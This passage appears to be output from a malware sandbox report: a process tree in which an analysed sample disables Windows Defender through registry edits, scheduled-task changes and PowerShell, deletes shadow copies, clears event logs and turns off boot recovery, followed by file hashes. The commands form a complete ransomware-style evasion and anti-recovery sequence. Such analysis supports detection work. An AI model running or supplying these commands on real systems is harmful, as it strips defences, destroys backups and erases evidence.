C:\Windows\SYSTEM32\sc.exesc.exe config "WebClient" start= disabled2⤵
- Launches sc.exe
PID:3720
-
-
C:\Windows\SYSTEM32\sc.exesc.exe config "UnistoreSvc_18168" start= disabled2⤵
- Launches sc.exe
PID:2988
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:4448
-
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:4280
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f2⤵PID:4636
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f2⤵PID:4312
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f2⤵PID:4972
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:708
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:4980
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:4896
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:4868
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:4564
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f2⤵PID:4388
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f2⤵PID:3836
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f2⤵PID:504
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f2⤵PID:392
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f2⤵PID:696
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f2⤵PID:1304
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable2⤵PID:1560
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable2⤵PID:1036
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable2⤵PID:2076
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable2⤵PID:828
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable2⤵PID:3448
-
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f2⤵PID:168
-
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f2⤵PID:2168
-
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f2⤵PID:2064
-
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f2⤵
- Modifies registry class
PID:820
-
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f2⤵
- Modifies registry class
PID:2440
-
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f2⤵
- Modifies registry class
PID:3180
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:5088
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:3772
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:3936
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:2112
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f2⤵
- Modifies security service
PID:4168
-
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:4208
-
-
C:\Windows\SYSTEM32\vssadmin.exevssadmin.exe delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3484
-
-
C:\Windows\SYSTEM32\wevtutil.exewevtutil.exe cl system2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2152
-
-
C:\Windows\SYSTEM32\wevtutil.exewevtutil.exe cl security2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2016
-
-
C:\Windows\SYSTEM32\wevtutil.exewevtutil.exe cl application2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4232
-
-
C:\Windows\System32\Wbem\wmic.exewmic.exe SHADOWCOPY /nointeractive2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4436
-
-
C:\Windows\System32\Wbem\wmic.exewmic.exe shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1260
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:4756
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {default} recoveryenabled no2⤵
- Modifies boot configuration data using bcdedit
PID:4408
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All2⤵PID:3568
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All3⤵
- Deletes Windows Defender Definitions
PID:2736
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true2⤵PID:4736
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIOAVProtection $true3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3724
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true2⤵PID:3220
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3048
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5f939d786e1fb30d287357d553719cf88
SHA1b5001e66047bb37310e8b9c78fef2d1ef6443e1f
SHA2565f3f1382a950d3c94afafb319c58b2b3731bce694966973685aad6bf9b156cad
SHA5128da927a8e9425e10a29daeb4b93f66484eca789805dd66a29bfee52b59c2a6df9895bc5dfd814eca788ed27b53463cdd4e8983ff2fc04496d5998a4193f3c2a9
-
Filesize
3KB
MD58592ba100a78835a6b94d5949e13dfc1
SHA163e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA256fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
SHA51287f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3
-
Filesize
1KB
MD50383ea332080cb366c013598cc796bcb
SHA1dea937696796fcba97cd9f8c3a2e48eae58890e4
SHA2560019c279b777c94e0092940cac21d616277d1927d2ae08f8764170936318cdd9
SHA512ad3c3e1ba0e62ef14f4c887816895eb5343ba4b16cd44b43ecf55b1b91d0229afb9911e68aa6989c943d40d6f426d32a4b636c32a613b4652a5f5021f5e6ded7
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a